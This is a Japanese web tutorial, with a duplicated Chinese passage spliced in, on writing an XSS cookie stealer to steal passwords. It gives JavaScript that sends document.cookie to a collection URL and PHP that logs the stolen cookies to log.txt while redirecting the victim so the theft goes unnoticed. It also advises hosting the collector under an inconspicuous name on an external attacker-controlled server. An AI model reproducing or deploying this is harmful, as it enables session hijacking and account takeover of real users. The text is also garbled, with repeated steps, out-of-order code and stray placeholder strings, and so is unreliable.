ホームページ > 記事 > ウェブフロントエンド > XSSクッキースティーラーをJSで記述してパスワードを盗む方法を詳しく解説

XSSクッキースティーラーをJSで記述してパスワードを盗む方法を詳しく解説

小云云オリジナル: 2017-12-18 14:36:292080ブラウズ

この記事では、JS で XSS Cookie スティーラーを作成してパスワードを盗む詳細な手順を主に紹介します。必要な方は参考にしていただければ幸いです。 JavaScript は、Web で最も一般的に使用されているスクリプト開発言語です。JS は、サイトコンポーネントを自動的に実行し、サイトコンテンツを管理し、Web 業界でその他の便利な機能を実装できます。 JS には、パスワードやその他のコンテンツを含むユーザー Cookie を盗むなど、悪意のある目的に使用できる機能が多数含まれている可能性があります。

Cookie は、サイトが訪問した特定のページに対してリクエストし、維持する情報です。 Cookieには、アクセス方法、時刻、ユーザー名、パスワードなどの認証情報が含まれています。ユーザーが特定のサイトにアクセスするときは Cookie を使用する必要がありますが、攻撃者が Cookie を傍受できる場合、Cookie を使用してユーザーの情報の一部が盗まれる可能性があります。特定のドメイン名については、JS を使用してユーザーの Cookie を保存または変更できます。言い換えれば、攻撃者が JS を使用して Cookie を表示および変更できる場合、これは貴重なハッキング手法となる可能性があります。

JS ベースの攻撃は、コードインジェクションなどの手法と効果的に組み合わせることができ、信頼できる Web サイトで悪意のあるコードが実行される可能性があります。

XSS Cookie スティーラーの作成を始めましょう

ステップ 1: HTML テストページを作成します

まず、標準 HTML ページを作成します

mkdir cookiestealer
cd cookiestealer
touch index.html

次に、index.html

を編集します

nano index.html
<html>
<body>
</body>
</html>

テストページ

ステップ 2: Cookie を作成する

Cookie に挿入できる基本パラメーター (文字列) を作成します。同様に、この Cookie はこのページでのみ使用できます。その後の挿入も、このページに保存されているすべての Cookie に適用されます。

 <script type="text/javascript">document.cookie = "username=Null Byte";</script>

このスクリプトは、次のように HTML の 6c04bd5ca3fcae76e30b72ad730ca86d セクションに挿入する必要があります:

スクリプトを実行するページが開かれると、Cookie は設定されますが、何も表示されません。ブラウザの事で。 document.write 関数を使用して Cookie を直接表示できます。

document.write(document.cookie);

同じ機能を持つスクリプトは次のとおりです:

 <script type="text/javascript">
 document.cookie = "username=Null Byte";
 document.write(document.cookie);
 </script>

ブラウザでページを開くと、次のCookie情報が表示されます:

このページ「username=Null Byte」Cookie が正常に設定されました。 username=Null Byte" 的cookie。

Step 3: 用js脚本窃取Cookies

我们用来传递cookies到服务器的js字符串使用了document.cookie参数，但是我们用的是document.location中定义的url。

document.location=&#39;http://127.0.0.1/cookiestealer.php?c=&#39;+document.cookie;

在本例中，PHP文件定位到localhost（127.0.0.1）。

如果目标是社交媒体网站，脚本需要注入到该站点中，窃取的cookies要发送给黑客控制的IP或URL。

把js代码吓到3f1c4e4b6b16bbbd69b2ee476dc4f83a标签中：

HTML页面代码应该是下面这样：

剩下对cookie进行处理的部分需要PHP来处理。

Step 4: 用PHP处理Cookies

在上面的例子中，窃取cookie的PHP文件是cookiestealer.php，位于127.0.0.1网址下。

在实际运行中，不能用cookiestealer.php这么明显的名字，而且应该位于外部IP或URL下。

首先，在index.html相同目录下创新PHP文件。

nano cookiestealer.php

ステップ 3: js スクリプトを使用して cookie を盗む

サーバーに cookie を渡すために使用する js 文字列は document.cookie パラメーターを使用しますが、document.location で定義された URL を使用します。

<?php
header (&#39;Location:https://google.com&#39;);
?>

この例では、PHP ファイルはローカルホスト (127.0.0.1) にあります。

ターゲットがソーシャルメディア Web サイトの場合、スクリプトをサイトに挿入し、盗んだ Cookie をハッカーが制御する IP または URL に送信する必要があります。 js コードを 3f1c4e4b6b16bbbd69b2ee476dc4f83a タグに挿入します:

$cookies = $_GET"c";

HTML ページのコードは次のようになります:

Cookie の処理の残りの部分を処理するには PHP が必要です。

ステップ 4: PHP で Cookie を処理する

上の例では、Cookie を盗む PHP ファイルは、URL 127.0.0.1 の下にある cookiestealer.php です。

実際の運用では、cookiestealer.php のようなわかりやすい名前は使用できず、外部 IP または URL の下に配置する必要があります。

まず、index.htmlと同じディレクトリにPHPファイルを作成します。

nano cookiestealer.php

定義する必要がある最初の要素は、リダイレクトページジャンプです。

🎜

 $file = fopen(&#39;log.txt&#39;, &#39;a&#39;);

🎜 攻撃を受けている可能性をユーザーに気づかせないようにするには、同じドメイン内の他のページにユーザーをリダイレクトして気づかれないようにするのが最善です。 🎜🎜🎜🎜🎜🎜🎜リダイレクトが完了したら、Cookie を処理するために追加のコードが必要になります。 🎜🎜🎜🎜🎜 1. Cookie を変数に割り当てます。 2. このファイルを保存するファイルを定義します。 🎜🎜🎜この例では、ファイル名は log.txt です。 🎜🎜🎜🎜